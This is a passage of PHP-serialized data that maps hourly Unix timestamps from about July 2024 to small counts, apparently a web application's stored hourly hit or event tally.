:1719741600;a:1:{i:0;i:11;}i:1719745200;a:1:{i:0;i:12;}i:1719748800;a:1:{i:0;i:12;}i:1719752400;a:1:{i:0;i:5;}i:1719759600;a:1:{i:0;i:8;}i:1719763200;a:1:{i:0;i:15;}i:1719766800;a:1:{i:0;i:20;}i:1719770400;a:1:{i:0;i:14;}i:1719774000;a:1:{i:0;i:15;}i:1719777600;a:1:{i:0;i:16;}i:1719781200;a:1:{i:0;i:19;}i:1719784800;a:1:{i:0;i:9;}i:1719788400;a:1:{i:0;i:1;}i:1719792000;a:1:{i:0;i:1;}i:1719795600;a:1:{i:0;i:1;}i:1719799200;a:1:{i:0;i:1;}i:1719802800;a:1:{i:0;i:1;}i:1719806400;a:1:{i:0;i:9;}i:1719810000;a:1:{i:0;i:17;}i:1719813600;a:1:{i:0;i:17;}i:1719817200;a:1:{i:0;i:16;}i:1719820800;a:1:{i:0;i:17;}i:1719824400;a:1:{i:0;i:17;}i:1719828000;a:1:{i:0;i:17;}i:1719831600;a:1:{i:0;i:15;}i:1719835200;a:1:{i:0;i:17;}i:1719838800;a:1:{i:0;i:8;}i:1719842400;a:1:{i:0;i:1;}i:1719846000;a:1:{i:0;i:1;}i:1719849600;a:1:{i:0;i:1;}i:1719853200;a:1:{i:0;i:1;}i:1719856800;a:1:{i:0;i:2;}i:1719860400;a:1:{i:0;i:1;}i:1719864000;a:1:{i:0;i:1;}i:1719871200;a:1:{i:0;i:2;}i:1719878400;a:1:{i:0;i:1;}i:1719882000;a:1:{i:0;i:3;}i:1719885600;a:1:{i:0;i:3;}i:1719889200;a:1:{i:0;i:4;}i:1719892800;a:1:{i:0;i:7;}i:1719896400;a:1:{i:0;i:4;}i:1719900000;a:1:{i:0;i:9;}i:1719903600;a:1:{i:0;i:13;}i:1719907200;a:1:{i:0;i:10;}i:1719910800;a:1:{i:0;i:5;}i:1719914400;a:1:{i:0;i:4;}i:1719918000;a:1:{i:0;i:5;}i:1719921600;a:1:{i:0;i:5;}i:1719925200;a:1:{i:0;i:3;}i:1719928800;a:1:{i:0;i:3;}i:1719932400;a:1:{i:0;i:13;}i:1719936000;a:1:{i:0;i:9;}i:1719939600;a:1:{i:0;i:6;}i:1719943200;a:1:{i:0;i:7;}i:1719946800;a:1:{i:0;i:8;}i:1719950400;a:1:{i:0;i:6;}i:1719954000;a:1:{i:0;i:6;}i:1719957600;a:1:{i:0;i:4;}i:1719961200;a:1:{i:0;i:6;}i:1719964800;a:1:{i:0;i:6;}i:1719968400;a:1:{i:0;i:6;}i:1719972000;a:1:{i:0;i:10;}i:1719975600;a:1:{i:0;i:6;}i:1719979200;a:1:{i:0;i:10;}i:1719982800;a:1:{i:0;i:11;}i:1719986400;a:1:{i:0;i:11;}i:1719990000;a:1:{i:0;i:15;}i:1719993600;a:1:{i:0;i:13;}i:1719997200;a:1:{i:0;i:10;}i:1720000800;a:1:{i:0;i:11;}i:1720004400;a:1:{i:0;i:11;}i:1720008000;a:1:{i:0;i:10;}i:1720011600;a:1:{i:0;i:1;}i:1720015200;a:1:{i:0;i:1;}i:1720018800;a:1:{i:0;i:2;}i:1720022400;a:1:{i:0;i:1;}i:1720026000;a:1:{i:0;i:13;}i:1720029600;a:1:{i:0;i:11;}i:1720033200;a:1:{i:0;i:18;}i:1720036800;a:1:{i:0;i:14;}i:1720040400;a:1:{i:0;i:9;}i:1720044000;a:1:{i:0;i:14;}i:1720047600;a:1:{i:0;i:1;}i:1720054800;a:1:{i:0;i:1;}i:1720058400;a:1:{i:0;i:5;}i:1720062000;a:1:{i:0;i:8;}i:1720065600;a:1:{i:0;i:7;}i:1720069200;a:1:{i:0;i:10;}i:1720072800;a:1:{i:0;i:9;}i:1720076400;a:1:{i:0;i:11;}i:1720080000;a:1:{i:0;i:6;}i:1720083600;a:1:{i:0;i:15;}i:1720087200;a:1:{i:0;i:14;}i:1720090800;a:1:{i:0;i:13;}i:1720094400;a:1:{i:0;i:17;}i:1720098000;a:1:{i:0;i:5;}i:1720101600;a:1:{i:0;i:3;}i:1720105200;a:1:{i:0;i:4;}i:1720108800;a:1:{i:0;i:7;}i:1720112400;a:1:{i:0;i:22;}i:1720116000;a:1:{i:0;i:14;}i:1720119600;a:1:{i:0;i:5;}i:1720123200;a:1:{i:0;i:9;}i:1720126800;a:1:{i:0;i:6;}i:1720130400;a:1:{i:0;i:8;}i:1720134000;a:1:{i:0;i:6;}i:1720137600;a:1:{i:0;i:8;}i:1720141200;a:1:{i:0;i:10;}i:1720144800;a:1:{i:0;i:5;}i:1720148400;a:1:{i:0;i:4;}i:1720155600;a:1:{i:0;i:2;}i:1720162800;a:1:{i:0;i:1;}i:1720166400;a:1:{i:0;i:15;}i:1720170000;a:1:{i:0;i:14;}i:1720173600;a:1:{i:0;i:15;}i:1720177200;a:1:{i:0;i:15;}i:1720180800;a:1:{i:0;i:11;}i:1720184400;a:1:{i:0;i:18;}i:1720188000;a:1:{i:0;i:7;}i:1720195200;a:1:{i:0;i:2;}i:1720198800;a:1:{i:0;i:1;}i:1720202400;a:1:{i:0;i:3;}i:1720206000;a:1:{i:0;i:1;}i:1720209600;a:1:{i:0;i:1;}i:1720213200;a:1:{i:0;i:1;}i:1720220400;a:1:{i:0;i:6;}i:1720227600;a:1:{i:0;i:7;}i:1720231200;a:1:{i:0;i:2;}i:1720238400;a:1:{i:0;i:4;}i:1720242000;a:1:{i:0;i:2;}i:1720245600;a:1:{i:0;i:3;}i:1720249200;a:1:{i:0;i:1;}i:1720252800;a:1:{i:0;i:1;}i:1720256400;a:1:{i:0;i:4;}i:1720260000;a:1:{i:0;i:2;}i:1720263600;a:1:{i:0;i:1;}i:1720267200;a:1:{i:0;i:2;}i:1720270800;a:1:{i:0;i:1;}i:1720274400;a:1:{i:0;i:5;}i:1720278000;a:1:{i:0;i:2;}i:1720281600;a:1:{i:0;i:13;}i:1720285200;a:1:{i:0;i:15;}i:1720288800;a:1:{i:0;i:18;}i:1720292400;a:1:{i:0;i:13;}i:1720296000;a:1:{i:0;i:16;}i:1720299600;a:1:{i:0;i:12;}i:1720303200;a:1:{i:0;i:11;}i:1720306800;a:1:{i:0;i:11;}i:1720310400;a:1:{i:0;i:12;}i:1720314000;a:1:{i:0;i:12;}i:1720317600;a:1:{i:0;i:12;}i:1720321200;a:1:{i:0;i:12;}i:1720324800;a:1:{i:0;i:5;}i:1720328400;a:1:{i:0;i:6;}i:1720332000;a:1:{i:0;i:8;}i:1720335600;a:1:{i:0;i:11;}i:1720339200;a:1:{i:0;i:20;}i:1720342800;a:1:{i:0;i:11;}i:1720346400;a:1:{i:0;i:10;}i:1720350000;a:1:{i:0;i:12;}i:1720353600;a:1:{i:0;i:11;}i:1720357200;a:1:{i:0;i:12;}i:1720360800;a:1:{i:0;i:16;}i:1720364400;a:1:{i:0;i:13;}i:1720368000;a:1:{i:0;i:7;}i:1720371600;a:1:{i:0;i:8;}i:1720375200;a:1:{i:0;i:23;}i:1720378800;a:1:{i:0;i:12;}i:1720382400;a:1:{i:0;i:9;}i:1720386000;a:1:{i:0;i:7;}i:1720389600;a:1:{i:0;i:8;}i:1720393200;a:1:{i:0;i:8;}i:1720396800;a:1:{i:0;i:8;}i:1720400400;a:1:{i:0;i:12;}i:1720404000;a:1:{i:0;i:9;}i:1720407600;a:1:{i:0;i:7;}i:1720411200;a:1:{i:0;i:7;}i:1720414800;a:1:{i:0;i:8;}i:1720418400;a:1:{i:0;i:8;}i:1720422000;a:1:{i:0;i:7;}i:1720425600;a:1:{i:0;i:14;}i:1720429200;a:1:{i:0;i:7;}i:1720432800;a:1:{i:0;i:11;}i:1720436400;a:1:{i:0;i:8;}i:1720440000;a:1:{i:0;i:11;}i:1720443600;a:1:{i:0;i:30;}i:1720447200;a:1:{i:0;i:19;}i:1720450800;a:1:{i:0;i:16;}i:1720454400;a:1:{i:0;i:22;}i:1720458000;a:1:{i:0;i:9;}i:1720461600;a:1:{i:0;i:9;}i:1720465200;a:1:{i:0;i:14;}i:1720468800;a:1:{i:0;i:18;}i:1720472400;a:1:{i:0;i:7;}i:1720476000;a:1:{i:0;i:5;}i:1720479600;a:1:{i:0;i:9;}i:1720483200;a:1:{i:0;i:9;}i:1720486800;a:1:{i:0;i:13;}i:1720490400;a:1:{i:0;i:10;}i:1720494000;a:1:{i:0;i:13;}i:1720497600;a:1:{i:0;i:11;}i:1720501200;a:1:{i:0;i:13;}i:1720504800;a:1:{i:0;i:13;}i:1720508400;a:1:{i:0;i:10;}i:1720512000;a:1:{i:0;i:15;}i:1720515600;a:1:{i:0;i:13;}i:1720519200;a:1:{i:0;i:16;}i:1720522800;a:1:{i:0;i:15;}i:1720526400;a:1:{i:0;i:24;}i:1720530000;a:1:{i:0;i:10;}i:1720533600;a:1:{i:0;i:18;}i:1720537200;a:1:{i:0;i:14;}i:1720540800;a:1:{i:0;i:22;}i:1720544400;a:1:{i:0;i:12;}i:1720548000;a:1:{i:0;i:17;}i:1720551600;a:1:{i:0;i:6;}i:1720555200;a:1:{i:0;i:22;}i:1720558800;a:1:{i:0;i:24;}i:1720562400;a:1:{i:0;i:7;}i:1720566000;a:1:{i:0;i:10;}i:1720569600;a:1:{i:0;i:3;}i:1720573200;a:1:{i:0;i:6;}i:1720576800;a:1:{i:0;i:17;}i:1720580400;a:1:{i:0;i:18;}i:1720584000;a:1:{i:0;i:12;}i:1720587600;a:1:{i:0;i:19;}i:1720591200;a:1:{i:0;i:6;}i:1720594800;a:1:{i:0;i:20;}i:1720598400;a:1:{i:0;i:10;}i:1720602000;a:1:{i:0;i:7;}i:1720605600;a:1:{i:0;i:13;}i:1720609200;a:1:{i:0;i:3;}i:1720612800;a:1:{i:0;i:10;}i:1720616400;a:1:{i:0;i:1;}i:1720620000;a:1:{i:0;i:1;}i:1720627200;a:1:{i:0;i:1;}i:1720630800;a:1:{i:0;i:4;}i:1720645200;a:1:{i:0;i:4;}i:1720648800;a:1:{i:0;i:2;}i:1720652400;a:1:{i:0;i:1;}i:1720659600;a:1:{i:0;i:9;}i:1720663200;a:1:{i:0;i:18;}i:1720670400;a:1:{i:0;i:8;}i:1720674000;a:1:{i:0;i:10;}i:1720677600;a:1:{i:0;i:8;}i:1720684800;a:1:{i:0;i:5;}i:1720692000;a:1:{i:0;i:6;}i:1720695600;a:1:{i:0;i:7;}i:1720699200;a:1:{i:0;i:7;}i:1720706400;a:1:{i:0;i:19;}i:1720713600;a:1:{i:0;i:11;}i:1720717200;a:1:{i:0;i:12;}i:1720724400;a:1:{i:0;i:9;}i:1720728000;a:1:{i:0;i:6;}i:1720735200;a:1:{i:0;i:7;}i:1720738800;a:1:{i:0;i:6;}i:1720742400;a:1:{i:0;i:7;}i:1720746000;a:1:{i:0;i:3;}i:1720749600;a:1:{i:0;i:7;}i:1720756800;a:1:{i:0;i:15;}i:1720760400;a:1:{i:0;i:12;}i:1720767600;a:1:{i:0;i:4;}i:1720778400;a:1:{i:0;i:1;}i:1720782000;a:1:{i:0;i:12;}i:1720785600;a:1:{i:0;i:3;}i:1720789200;a:1:{i:0;i:4;}i:1720803600;a:1:{i:0;i:1;}i:1720810800;a:1:{i:0;i:1;}i:1720814400;a:1:{i:0;i:3;}i:1720825200;a:1:{i:0;i:3;}i:1720828800;a:1:{i:0;i:34;}i:1720850400;a:1:{i:0;i:8;}i:1720854000;a:1:{i:0;i:1;}i:1720857600;a:1:{i:0;i:13;}i:1720868400;a:1:{i:0;i:11;}i:1720879200;a:1:{i:0;i:9;}i:1720882800;a:1:{i:0;i:13;}i:1720897200;a:1:{i:0;i:13;}i:1720900800;a:1:{i:0;i:2;}i:1720904400;a:1:{i:0;i:4;}i:1720908000;a:1:{i:0;i:8;}i:1720911600;a:1:{i:0;i:2;}i:1720918800;a:1:{i:0;i:3;}i:1720922400;a:1:{i:0;i:15;}i:1720926000;a:1:{i:0;i:1;}i:1720929600;a:1:{i:0;i:3;}i:1720936800;a:1:{i:0;i:13;}i:1720940400;a:1:{i:0;i:3;}i:1720944000;a:1:{i:0;i:4;}i:1720947600;a:1:{i:0;i:1;}i:1720958400;a:1:{i:0;i:2;}i:1720965600;a:1:{i:0;i:12;}i:1720969200;a:1:{i:0;i:10;}i:1720972800;a:1:{i:0;i:6;}i:1720976400;a:1:{i:0;i:3;}i:1720983600;a:1:{i:0;i:1;}i:1720987200;a:1:{i:0;i:1;}i:1720990800;a:1:{i:0;i:3;}i:1721001600;a:1:{i:0;i:1;}i:1721005200;a:1:{i:0;i:4;}i:1721008800;a:1:{i:0;i:5;}i:1721012400;a:1:{i:0;i:1;}i:1721023200;a:1:{i:0;i:5;}i:1721026800;a:1:{i:0;i:4;}i:1721030400;a:1:{i:0;i:4;}i:1721034000;a:1:{i:0;i:1;}i:1721037600;a:1:{i:0;i:6;}i:1721041200;a:1:{i:0;i:6;}i:1721044800;a:1:{i:0;i:11;}i:1721048400;a:1:{i:0;i:1;}i:1721052000;a:1:{i:0;i:8;}i:1721055600;a:1:{i:0;i:3;}i:1721059200;a:1:{i:0;i:18;}i:1721062800;a:1:{i:0;i:4;}i:1721066400;a:1:{i:0;i:5;}i:1721070000;a:1:{i:0;i:4;}i:1721073600;a:1:{i:0;i:20;}i:1721077200;a:1:{i:0;i:11;}i:1721080800;a:1:{i:0;i:11;}i:1721084400;a:1:{i:0;i:9;}i:1721088000;a:1:{i:0;i:8;}i:1721091600;a:1:{i:0;i:6;}i:1721095200;a:1:{i:0;i:2;}i:1721098800;a:1:{i:0;i:15;}i:1721102400;a:1:{i:0;i:17;}i:1721106000;a:1:{i:0;i:16;}i:1721109600;a:1:{i:0;i:12;}i:1721113200;a:1:{i:0;i:13;}i:1721116800;a:1:{i:0;i:8;}i:1721120400;a:1:{i:0;i:13;}i:1721124000;a:1:{i:0;i:14;}i:1721127600;a:1:{i:0;i:8;}i:1721131200;a:1:{i:0;i:4;}i:1721134800;a:1:{i:0;i:20;}i:1721138400;a:1:{i:0;i:8;}i:1721142000;a:1:{i:0;i:14;}i:1721145600;a:1:{i:0;i:8;}i:1721149200;a:1:{i:0;i:17;}i:1721152800;a:1:{i:0;i:15;}i:1721156400;a:1:{i:0;i:14;}i:1721160000;a:1:{i:0;i:12;}i:1721163600;a:1:{i:0;i:11;}i:1721167200;a:1:{i:0;i:9;}i:1721170800;a:1:{i:0;i:8;}i:1721174400;a:1:{i:0;i:1;}i:1721178000;a:1:{i:0;i:10;}i:1721181600;a:1:{i:0;i:7;}i:1721185200;a:1:{i:0;i:10;}i:1721188800;a:1:{i:0;i:5;}i:1721192400;a:1:{i:0;i:7;}i:1721196000;a:1:{i:0;i:18;}i:1721199600;a:1:{i:0;i:6;}i:1721203200;a:1:{i:0;i:14;}i:1721206800;a:1:{i:0;i:16;}i:1721210400;a:1:{i:0;i:12;}i:1721214000;a:1:{i:0;i:16;}i:1721217600;a:1:{i:0;i:9;}i:1721221200;a:1:{i:0;i:5;}i:1721224800;a:1:{i:0;i:2;}i:1721228400;a:1:{i:0;i:9;}i:1721232000;a:1:{i:0;i:8;}i:1721235600;a:1:{i:0;i:6;}i:1721239200;a:1:{i:0;i:9;}i:1721242800;a:1:{i:0;i:9;}i:1721246400;a:1:{i:0;i:14;}i:1721250000;a:1:{i:0;i:12;}i:1721253600;a:1:{i:0;i:18;}i:1721257200;a:1:{i:0;i:7;}i:1721260800;a:1:{i:0;i:12;}i:1721264400;a:1:{i:0;i:5;}i:1721268000;a:1:{i:0;i:5;}i:1721271600;a:1:{i:0;i:7;}i:1721275200;a:1:{i:0;i:5;}i:1721278800;a:1:{i:0;i:17;}i:1721282400;a:1:{i:0;i:13;}i:1721286000;a:1:{i:0;i:8;}i:1721289600;a:1:{i:0;i:10;}i:1721293200;a:1:{i:0;i:15;}i:1721296800;a:1:{i:0;i:6;}i:1721300400;a:1:{i:0;i:10;}i:1721304000;a:1:{i:0;i:7;}i:1721307600;a:1:{i:0;i:2;}i:1721311200;a:1:{i:0;i:5;}i:1721314800;a:1:{i:0;i:5;}i:1721318400;a:1:{i:0;i:8;}i:1721322000;a:1:{i:0;i:9;}i:1721325600;a:1:{i:0;i:11;}i:1721329200;a:1:{i:0;i:2;}i:1721332800;a:1:{i:0;i:11;}i:1721336400;a:1:{i:0;i:1;}i:1721340000;a:1:{i:0;i:3;}i:1721343600;a:1:{i:0;i:1;}i:1721347200;a:1:{i:0;i:8;}i:1721350800;a:1:{i:0;i:3;}i:1721358000;a:1:{i:0;i:1;}i:1721361600;a:1:{i:0;i:10;}i:1721365200;a:1:{i:0;i:11;}i:1721368800;a:1:{i:0;i:18;}i:1721372400;a:1:{i:0;i:18;}i:1721376000;a:1:{i:0;i:9;}i:1721379600;a:1:{i:0;i:9;}i:1721383200;a:1:{i:0;i:13;}i:1721386800;a:1:{i:0;i:11;}i:1721390400;a:1:{i:0;i:10;}i:1721394000;a:1:{i:0;i:10;}i:1721397600;a:1:{i:0;i:8;}i:1721401200;a:1:{i:0;i:6;}i:1721404800;a:1:{i:0;i:9;}i:1721408400;a:1:{i:0;i:9;}i:1721412000;a:1:{i:0;i:6;}i:1721415600;a:1:{i:0;i:10;}i:1721419200;a:1:{i:0;i:10;}i:1721422800;a:1:{i:0;i:9;}i:1721426400;a:1:{i:0;i:8;}i:1721430000;a:1:{i:0;i:6;}i:1721433600;a:1:{i:0;i:10;}i:1721437200;a:1:{i:0;i:9;}i:1721440800;a:1:{i:0;i:2;}i:1721444400;a:1:{i:0;i:1;}i:1721448000;a:1:{i:0;i:2;}i:1721451600;a:1:{i:0;i:5;}i:1721455200;a:1:{i:0;i:5;}i:1721458800;a:1:{i:0;i:6;}i:1721462400;a:1:{i:0;i:4;}i:1721466000;a:1:{i:0;i:6;}i:1721469600;a:1:{i:0;i:3;}i:1721473200;a:1:{i:0;i:4;}i:1721476800;a:1:{i:0;i:5;}i:1721480400;a:1:{i:0;i:6;}i:1721484000;a:1:{i:0;i:4;}i:1721487600;a:1:{i:0;i:6;}i:1721491200;a:1:{i:0;i:2;}i:1721494800;a:1:{i:0;i:13;}i:1721498400;a:1:{i:0;i:15;}i:1721502000;a:1:{i:0;i:13;}i:1721505600;a:1:{i:0;i:13;}i:1721509200;a:1:{i:0;i:12;}i:1721512800;a:1:{i:0;i:13;}i:1721516400;a:1:{i:0;i:12;}i:1721520000;a:1:{i:0;i:10;}i:1721523600;a:1:{i:0;i:9;}i:1721527200;a:1:{i:0;i:12;}i:1721530800;a:1:{i:0;i:9;}i:1721534400;a:1:{i:0;i:11;}i:1721538000;a:1:{i:0;i:9;}i:1721541600;a:1:{i:0;i:13;}i:1721545200;a:1:{i:0;i:13;}i:1721548800;a:1:{i:0;i:16;}i:1721552400;a:1:{i:0;i:11;}i:1721556000;a:1:{i:0;i:11;}i:1721559600;a:1:{i:0;i:12;}i:1721563200;a:1:{i:0;i:5;}i:1721566800;a:1:{i:0;i:3;}i:1721570400;a:1:{i:0;i:2;}i:1721574000;a:1:{i:0;i:6;}i:1721577600;a:1:{i:0;i:9;}i:1721581200;a:1:{i:0;i:7;}i:1721584800;a:1:{i:0;i:6;}i:1721588400;a:1:{i:0;i:11;}i:1721592000;a:1:{i:0;i:11;}i:1721595600;a:1:{i:0;i:9;}i:1721599200;a:1:{i:0;i:10;}i:1721602800;a:1:{i:0;i:7;}i:1721606400;a:1:{i:0;i:7;}i:1721610000;a:1:{i:0;i:8;}i:1721613600;a:1:{i:0;i:1;}i:1721617200;a:1:{i:0;i:3;}i:1721620800;a:1:{i:0;i:10;}i:1721624400;a:1:{i:0;i:10;}i:1721628000;a:1:{i:0;i:9;}i:1721631600;a:1:{i:0;i:9;}i:1721635200;a:1:{i:0;i:10;}i:1721638800;a:1:{i:0;i:5;}i:1721642400;a:1:{i:0;i:4;}i:1721646000;a:1:{i:0;i:3;}i:1721649600;a:1:{i:0;i:5;}i:1721653200;a:1:{i:0;i:9;}i:1721656800;a:1:{i:0;i:8;}i:1721660400;a:1:{i:0;i:7;}i:1721664000;a:1:{i:0;i:9;}i:1721667600;a:1:{i:0;i:6;}i:1721671200;a:1:{i:0;i:9;}i:1721674800;a:1:{i:0;i:8;}i:1721678400;a:1:{i:0;i:6;}i:1721682000;a:1:{i:0;i:10;}i:1721685600;a:1:{i:0;i:8;}i:1721689200;a:1:{i:0;i:8;}i:1721692800;a:1:{i:0;i:11;}i:1721696400;a:1:{i:0;i:2;}i:1721700000;a:1:{i:0;i:3;}i:1721703600;a:1:{i:0;i:1;}i:1721707200;a:1:{i:0;i:11;}i:1721710800;a:1:{i:0;i:10;}i:1721714400;a:1:{i:0;i:7;}i:1721718000;a:1:{i:0;i:10;}i:1721721600;a:1:{i:0;i:7;}i:1721725200;a:1:{i:0;i:9;}i:1721728800;a:1:{i:0;i:8;}i:1721732400;a:1:{i:0;i:9;}i:1721736000;a:1:{i:0;i:9;}i:1721739600;a:1:{i:0;i:2;}i:1721743200;a:1:{i:0;i:4;}i:1721746800;a:1:{i:0;i:1;}i:1721750400;a:1:{i:0;i:1;}i:1721754000;a:1:{i:0;i:1;}i:1721757600;a:1:{i:0;i:1;}i:1721761200;a:1:{i:0;i:6;}i:1721768400;a:1:{i:0;i:2;}i:1721772000;a:1:{i:0;i:2;}i:1721775600;a:1:{i:0;i:2;}i:1721782800;a:1:{i:0;i:1;}i:1721790000;a:1:{i:0;i:3;}i:1721793600;a:1:{i:0;i:2;}i:1721797200;a:1:{i:0;i:1;}i:1721800800;a:1:{i:0;i:2;}i:1721804400;a:1:{i:0;i:1;}i:1721815200;a:1:{i:0;i:2;}i:1721822400;a:1:{i:0;i:2;}i:1721829600;a:1:{i:0;i:2;}i:1721833200;a:1:{i:0;i:2;}i:1721836800;a:1:{i:0;i:1;}i:1721844000;a:1:{i:0;i:1;}i:1721851200;a:1:{i:0;i:3;}i:1721858400;a:1:{i:0;i:1;}i:1721862000;a:1:{i:0;i:3;}i:1721865600;a:1:{i:0;i:1;}i:1721869200;a:1:{i:0;i:5;}i:1721872800;a:1:{i:0;i:1;}i:1721880000;a:1:{i:0;i:1;}i:1721887200;a:1:{i:0;i:2;}i:1721894400;a:1:{i:0;i:1;}i:1721898000;a:1:{i:0;i:1;}i:1721901600;a:1:{i:0;i:1;}i:1721905200;a:1:{i:0;i:3;}i:1721908800;a:1:{i:0;i:4;}i:1721912400;a:1:{i:0;i:3;}i:1721916000;a:1:{i:0;i:1;}i:1721919600;a:1:{i:0;i:2;}i:1721923200;a:1:{i:0;i:7;}i:1721926800;a:1:{i:0;i:13;}i:1721930400;a:1:{i:0;i:1;}i:1721934000;a:1:{i:0;i:3;}i:1721941200;a:1:{i:0;i:3;}i:1721944800;a:1:{i:0;i:4;}i:1721948400;a:1:{i:0;i:1;}i:1721952000;a:1:{i:0;i:1;}i:1721962800;a:1:{i:0;i:4;}i:1721966400;a:1:{i:0;i:6;}i:1721970000;a:1:{i:0;i:1;}i:1721973600;a:1:{i:0;i:2;}i:1721977200;a:1:{i:0;i:1;}i:1721980800;a:1:{i:0;i:10;}i:1721984400;a:1:{i:0;i:7;}i:1721988000;a:1:{i:0;i:4;}i:1721991600;a:1:{i:0;i:6;}i:1721995200;a:1:{i:0;i:10;}i:1721998800;a:1:{i:0;i:8;}i:1722002400;a:1:{i:0;i:3;}i:1722006000;a:1:{i:0;i:6;}i:1722009600;a:1:{i:0;i:30;}i:1722013200;a:1:{i:0;i:30;}i:1722016800;a:1:{i:0;i:6;}i:1722020400;a:1:{i:0;i:16;}i:1722024000;a:1:{i:0;i:6;}i:1722027600;a:1:{i:0;i:3;}i:1722031200;a:1:{i:0;i:5;}i:1722034800;a:1:{i:0;i:1;}i:1722038400;a:1:{i:0;i:3;}i:1722042000;a:1:{i:0;i:1;}i:1722049200;a:1:{i:0;i:4;}i:1722052800;a:1:{i:0;i:2;}i:1722056400;a:1:{i:0;i:1;}i:1722067200;a:1:{i:0;i:3;}i:1722070800;a:1:{i:0;i:3;}i:1722078000;a:1:{i:0;i:1;}i:1722081600;a:1:{i:0;i:3;}i:1722085200;a:1:{i:0;i:1;}i:1722088800;a:1:{i:0;i:7;}i:1722092400;a:1:{i:0;i:8;}i:1722099600;a:1:{i:0;i:5;}i:1722103200;a:1:{i:0;i:2;}i:1722114000;a:1:{i:0;i:1;}i:1722117600;a:1:{i:0;i:1;}i:1722121200;a:1:{i:0;i:3;}i:1722124800;a:1:{i:0;i:4;}i:1722128400;a:1:{i:0;i:1;}i:1722132000;a:1:{i:0;i:2;}i:1722139200;a:1:{i:0;i:2;}i:1722142800;a:1:{i:0;i:9;}i:1722146400;a:1:{i:0;i:8;}i:1722150000;a:1:{i:0;i:39;}i:1722153600;a:1:{i:0;i:11;}i:1722157200;a:1:{i:0;i:6;}i:1722160800;a:1:{i:0;i:16;}i:1722164400;a:1:{i:0;i:5;}i:1722168000;a:1:{i:0;i:13;}i:1722171600;a:1:{i:0;i:4;}i:1722175200;a:1:{i:0;i:8;}i:1722178800;a:1:{i:0;i:8;}i:1722182400;a:1:{i:0;i:8;}i:1722186000;a:1:{i:0;i:14;}i:1722189600;a:1:{i:0;i:4;}i:1722193200;a:1:{i:0;i:13;}i:1722196800;a:1:{i:0;i:5;}i:1722200400;a:1:{i:0;i:11;}i:1722204000;a:1:{i:0;i:11;}i:1722207600;a:1:{i:0;i:5;}i:1722211200;a:1:{i:0;i:6;}i:1722214800;a:1:{i:0;i:2;}i:1722218400;a:1:{i:0;i:12;}i:1722222000;a:1:{i:0;i:11;}i:1722225600;a:1:{i:0;i:17;}i:1722229200;a:1:{i:0;i:18;}i:1722232800;a:1:{i:0;i:25;}i:1722236400;a:1:{i:0;i:20;}i:1722240000;a:1:{i:0;i:25;}i:1722243600;a:1:{i:0;i:25;}i:1722247200;a:1:{i:0;i:7;}i:1722250800;a:1:{i:0;i:7;}i:1722254400;a:1:{i:0;i:18;}i:1722258000;a:1:{i:0;i:23;}i:1722261600;a:1:{i:0;i:14;}i:1722265200;a:1:{i:0;i:22;}i:1722268800;a:1:{i:0;i:16;}i:1722272400;a:1:{i:0;i:19;}i:1722276000;a:1:{i:0;i:7;}i:1722279600;a:1:{i:0;i:33;}i:1722283200;a:1:{i:0;i:27;}i:1722286800;a:1:{i:0;i:17;}i:1722290400;a:1:{i:0;i:15;}i:1722294000;a:1:{i:0;i:15;}i:1722297600;a:1:{i:0;i:10;}i:1722301200;a:1:{i:0;i:1;}i:1722304800;a:1:{i:0;i:3;}i:1722308400;a:1:{i:0;i:6;}i:1722312000;a:1:{i:0;i:6;}i:1722315600;a:1:{i:0;i:2;}i:1722322800;a:1:{i:0;i:5;}i:1722326400;a:1:{i:0;i:4;}i:1722330000;a:1:{i:0;i:3;}i:1722333600;a:1:{i:0;i:14;}i:1722337200;a:1:{i:0;i:21;}i:1722340800;a:1:{i:0;i:14;}i:1722344400;a:1:{i:0;i:15;}i:1722348000;a:1:{i:0;i:15;}i:1722351600;a:1:{i:0;i:4;}i:1722355200;a:1:{i:0;i:13;}i:1722358800;a:1:{i:0;i:11;}i:1722362400;a:1:{i:0;i:3;}i:1722366000;a:1:{i:0;i:11;}i:1722373200;a:1:{i:0;i:11;}i:1722380400;a:1:{i:0;i:3;}i:1722384000;a:1:{i:0;i:5;}i:1722394800;a:1:{i:0;i:5;}i:1722398400;a:1:{i:0;i:2;}i:1722405600;a:1:{i:0;i:7;}i:1722409200;a:1:{i:0;i:5;}i:1722412800;a:1:{i:0;i:4;}i:1722423600;a:1:{i:0;i:11;}i:1722434400;a:1:{i:0;i:4;}i:1722438000;a:1:{i:0;i:10;}i:1722445200;a:1:{i:0;i:3;}i:1722448800;a:1:{i:0;i:19;}i:1722452400;a:1:{i:0;i:7;}i:1722456000;a:1:{i:0;i:1;}i:1722459600;a:1:{i:0;i:1;}i:1722463200;a:1:{i:0;i:11;}i:1722466800;a:1:{i:0;i:7;}i:1722470400;a:1:{i:0;i:1;}i:1722474000;a:1:{i:0;i:9;}i:1722477600;a:1:{i:0;i:1;}i:1722481200;a:1:{i:0;i:1;}i:1722484800;a:1:{i:0;i:7;}i:1722488400;a:1:{i:0;i:1;}i:1722492000;a:1:{i:0;i:16;}i:1722495600;a:1:{i:0;i:20;}i:1722499200;a:1:{i:0;i:16;}i:1722502800;a:1:{i:0;i:24;}i:1722506400;a:1:{i:0;i:16;}i:1722510000;a:1:{i:0;i:14;}i:1722513600;a:1:{i:0;i:3;}i:1722517200;a:1:{i:0;i:1;}i:1722524400;a:1:{i:0;i:1;}i:1722528000;a:1:{i:0;i:7;}i:1722531600;a:1:{i:0;i:8;}i:1722535200;a:1:{i:0;i:10;}i:1722538800;a:1:{i:0;i:17;}i:1722542400;a:1:{i:0;i:11;}i:1722546000;a:1:{i:0;i:15;}i:1722549600;a:1:{i:0;i:9;}i:1722553200;a:1:{i:0;i:9;}i:1722556800;a:1:{i:0;i:22;}i:1722560400;a:1:{i:0;i:19;}i:1722564000;a:1:{i:0;i:5;}i:1722567600;a:1:{i:0;i:6;}i:1722571200;a:1:{i:0;i:6;}i:1722574800;a:1:{i:0;i:13;}i:1722578400;a:1:{i:0;i:12;}i:1722582000;a:1:{i:0;i:25;}i:1722585600;a:1:{i:0;i:26;}i:1722589200;a:1:{i:0;i:12;}i:1722592800;a:1:{i:0;i:4;}i:1722596400;a:1:{i:0;i:3;}i:1722603600;a:1:{i:0;i:9;}i:1722607200;a:1:{i:0;i:3;}i:1722614400;a:1:{i:0;i:8;}i:1722621600;a:1:{i:0;i:2;}i:1722625200;a:1:{i:0;i:4;}i:1722632400;a:1:{i:0;i:1;}i:1722643200;a:1:{i:0;i:1;}i:1722646800;a:1:{i:0;i:3;}i:1722650400;a:1:{i:0;i:2;}i:1722654000;a:1:{i:0;i:8;}i:1722657600;a:1:{i:0;i:9;}i:1722661200;